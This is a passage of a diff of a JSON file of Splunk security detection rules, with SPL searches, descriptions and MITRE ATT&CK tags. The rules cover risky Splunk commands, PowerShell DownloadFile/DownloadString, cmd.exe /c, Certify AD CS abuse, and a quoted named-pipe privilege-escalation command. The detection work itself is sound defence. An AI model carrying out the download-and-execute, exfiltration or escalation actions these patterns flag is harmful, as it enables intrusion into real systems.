- ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "$user$ executed the 'delete' command, if this is unexpected it should be reviewed.", - "risk_score": 27, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Splunk Command and Scripting Interpreter Risky Commands", - "description": "The following analytic identifies the execution of risky commands within the Splunk platform, such as `runshellscript`, `delete`, and `sendemail`. It leverages the Search_Activity data model to detect ad hoc searches containing these commands, excluding those run by the splunk-system-user. This activity is significant because it may indicate attempts at data exfiltration, deletion, or other unauthorized actions by a malicious user. If confirmed malicious, this could lead to data loss, unauthorized data transfer, or system compromise, severely impacting the organization's security posture.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Splunk_Audit.Search_Activity where Search_Activity.search IN (\"*| runshellscript *\", \"*| collect *\",\"*| delete *\", \"*| fit *\", \"*| outputcsv *\", \"*| outputlookup *\", \"*| run *\", \"*| script *\", \"*| sendalert *\", \"*| sendemail *\", \"*| tscolle*\") Search_Activity.search_type=adhoc Search_Activity.user!=splunk-system-user by Search_Activity.search Search_Activity.info Search_Activity.total_run_time Search_Activity.user Search_Activity.search_type | `drop_dm_object_name(Search_Activity)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `splunk_command_and_scripting_interpreter_risky_commands_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A risky Splunk command has ran by $user$ and should be reviewed.", - "risk_score": 20, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Splunk Command and Scripting Interpreter Risky SPL MLTK", - "description": "The following analytic identifies the execution of risky SPL commands with abnormally long run times by leveraging a machine learning model named \"risky_command_abuse.\" It uses the Splunk Audit data model to compare current search activities against a baseline of the past seven days. This activity is significant for a SOC as it can indicate potential misuse or abuse of powerful SPL commands, which could lead to unauthorized data access or system manipulation. If confirmed malicious, this activity could allow an attacker to execute arbitrary scripts, delete data, or exfiltrate sensitive information.", - "search": "| tstats sum(Search_Activity.total_run_time) AS run_time, values(Search_Activity.search) as searches, count FROM datamodel=Splunk_Audit.Search_Activity WHERE (Search_Activity.user!=\"\") AND (Search_Activity.total_run_time>1) AND (earliest=-1h@h latest=now) AND (Search_Activity.search IN (\"*| runshellscript *\", \"*| collect *\",\"*| delete *\", \"*| fit *\", \"*| outputcsv *\", \"*| outputlookup *\", \"*| run *\", \"*| script *\", \"*| sendalert *\", \"*| sendemail *\", \"*| tscolle*\")) AND (Search_Activity.search_type=adhoc) AND (Search_Activity.user!=splunk-system-user) BY _time, Search_Activity.user span=1h | apply risky_command_abuse | fields _time, Search_Activity.user, searches, run_time, IsOutlier(run_time) | rename IsOutlier(run_time) as isOutlier, _time as timestamp | where isOutlier>0.5 | `splunk_command_and_scripting_interpreter_risky_spl_mltk_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Abnormally long run time for risk SPL command seen by user $(Search_Activity.user).", - "risk_score": 20, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Any Powershell DownloadFile", - "description": "The following analytic detects the use of PowerShell's `DownloadFile` method to download files. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This activity is significant as it is commonly used in malicious frameworks to download and execute additional payloads. If confirmed malicious, this could lead to unauthorized code execution, data exfiltration, or further compromise of the system. Analysts should investigate the source and destination of the download and review AMSI or PowerShell transaction logs for additional context.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` Processes.process=*DownloadFile* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `any_powershell_downloadfile_filter`", - "tags": { - "analytic_story": [ - "DarkCrystal RAT", - "Data Destruction", - "Hermetic Wiper", - "Ingress Tool Transfer", - "Log4Shell CVE-2021-44228", - "Malicious PowerShell", - "Phemedrone Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$. This behavior identifies the use of DownloadFile within PowerShell.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Any Powershell DownloadString", - "description": "The following analytic detects the use of PowerShell's `DownloadString` method to download files. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because `DownloadString` is commonly used in malicious PowerShell scripts to fetch and execute remote code. If confirmed malicious, this behavior could allow an attacker to download and run arbitrary code, potentially leading to unauthorized access, data exfiltration, or further compromise of the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` Processes.process=*.DownloadString* by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `any_powershell_downloadstring_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "HAFNIUM Group", - "Hermetic Wiper", - "IcedID", - "Ingress Tool Transfer", - "Malicious PowerShell", - "Phemedrone Stealer", - "SysAid On-Prem Software CVE-2023-47246 Vulnerability", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$. This behavior identifies the use of DownloadString within PowerShell.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "CHCP Command Execution", - "description": "The following analytic detects the execution of the chcp.exe application, which is used to change the active code page of the console. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where chcp.exe is executed by cmd.exe with specific command-line arguments. This activity is significant because it can indicate the presence of malware, such as IcedID, which uses this technique to determine the locale region, language, or country of the compromised host. If confirmed malicious, this could lead to further system compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=chcp.com Processes.parent_process_name = cmd.exe (Processes.parent_process=*/c* OR Processes.parent_process=*/k*) by Processes.process_name Processes.process Processes.parent_process_name Processes.parent_process Processes.process_id Processes.parent_process_id Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `chcp_command_execution_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Forest Blizzard", - "IcedID" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "parent process $parent_process_name$ spawning chcp process $process_name$ with parent command line $parent_process$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "CMD Carry Out String Command Parameter", - "description": "The following analytic detects the use of `cmd.exe /c` to execute commands, a technique often employed by adversaries and malware to run batch commands or invoke other shells like PowerShell. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process metadata. Monitoring this activity is crucial as it can indicate script-based attacks or unauthorized command execution. If confirmed malicious, this behavior could lead to unauthorized code execution, privilege escalation, or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_cmd` AND Processes.process=\"* /c*\" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `cmd_carry_out_string_command_parameter_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Azorult", - "CISA AA23-347A", - "Chaos Ransomware", - "DarkCrystal RAT", - "DarkGate Malware", - "Data Destruction", - "Hermetic Wiper", - "IcedID", - "Living Off The Land", - "Log4Shell CVE-2021-44228", - "NjRAT", - "PlugX", - "ProxyNotShell", - "Qakbot", - "RedLine Stealer", - "Rhysida Ransomware", - "Warzone RAT", - "WhisperGate", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting spawn a new process.", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "CMD Echo Pipe - Escalation", - "description": "The following analytic identifies the use of named-pipe impersonation for privilege escalation, commonly associated with Cobalt Strike and similar frameworks. It detects command-line executions where `cmd.exe` uses `echo` to write to a named pipe, such as `cmd.exe /c echo 4sgryt3436 > \\\\.\\Pipe\\5erg53`. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line telemetry. This activity is significant as it indicates potential privilege escalation attempts. If confirmed malicious, attackers could gain elevated privileges, enabling further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_cmd` OR Processes.process=*%comspec%* (Processes.process=*echo* AND Processes.process=*pipe*) by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `cmd_echo_pipe___escalation_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ potentially performing privilege escalation using named pipes related to Cobalt Strike and other frameworks.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Cmdline Tool Not Executed In CMD Shell", - "description": "The following analytic identifies instances where `ipconfig.exe`, `systeminfo.exe`, or similar tools are executed by a non-standard parent process, excluding CMD, PowerShell, or Explorer. This detection leverages Endpoint Detection and Response (EDR) telemetry to monitor process creation events. Such behavior is significant as it may indicate adversaries using injected processes to perform system discovery, a tactic observed in FIN7's JSSLoader. If confirmed malicious, this activity could allow attackers to gather critical host information, aiding in further exploitation or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = \"ipconfig.exe\" OR Processes.process_name = \"systeminfo.exe\" OR Processes.process_name = \"net.exe\" OR Processes.process_name = \"net1.exe\" OR Processes.process_name = \"arp.exe\" OR Processes.process_name = \"nslookup.exe\" OR Processes.process_name = \"route.exe\" OR Processes.process_name = \"netstat.exe\" OR Processes.process_name = \"whoami.exe\") AND NOT (Processes.parent_process_name = \"cmd.exe\" OR Processes.parent_process_name = \"powershell*\" OR Processes.parent_process_name=\"pwsh.exe\" OR Processes.parent_process_name = \"explorer.exe\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process_id Processes.process Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `cmdline_tool_not_executed_in_cmd_shell_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-277A", - "CISA AA23-347A", - "DarkGate Malware", - "FIN7", - "Qakbot", - "Rhysida Ransomware", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A non-standard parent process $parent_process_name$ spawned child process $process_name$ to execute command-line tool on $dest$.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.007", - "mitre_attack_technique": "JavaScript", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "Cobalt Group", - "Earth Lusca", - "Ember Bear", - "Evilnum", - "FIN6", - "FIN7", - "Higaisa", - "Indrik Spider", - "Kimsuky", - "LazyScripter", - "Leafminer", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Sidewinder", - "Silence", - "TA505", - "Turla" - ] - } - ] - } - }, - { - "name": "Detect Certify With PowerShell Script Block Logging", - "description": "The following analytic detects the use of the Certify tool via an in-memory PowerShell function to enumerate Active Directory Certificate Services (AD CS) environments. It leverages PowerShell Script Block Logging (EventCode 4104) to identify specific command patterns associated with Certify's enumeration and exploitation functions. This activity is significant as it indicates potential reconnaissance or exploitation attempts against AD CS, which could lead to unauthorized certificate issuance. If confirmed malicious, attackers could leverage this to escalate privileges, persist in the environment, or access sensitive information by abusing AD CS.", - "search": "`powershell` EventCode=4104 (ScriptBlockText IN (\"*find *\") AND ScriptBlockText IN (\"* /vulnerable*\",\"* -vulnerable*\",\"* /enrolleeSuppliesSubject *\",\"* /json /outfile*\")) OR (ScriptBlockText IN (,\"*auth *\",\"*req *\",) AND ScriptBlockText IN (\"* -ca *\",\"* -username *\",\"* -u *\")) OR (ScriptBlockText IN (\"*request *\",\"*download *\") AND ScriptBlockText IN (\"* /ca:*\")) | stats count min(_time) as firstTime max(_time) as lastTime list(ScriptBlockText) as command Values(OpCode) as reason values(Path) as file_name values(UserID) as user by _time Computer EventCode | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | eval file_name = case(isnotnull(file_name),file_name,true(),\"unknown\") | eval signature = substr(command,0,256) | rename Computer as dest,EventCode as signature_id | `detect_certify_with_powershell_script_block_logging_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell", - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Certify arguments through PowerShell detected on $dest$.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - 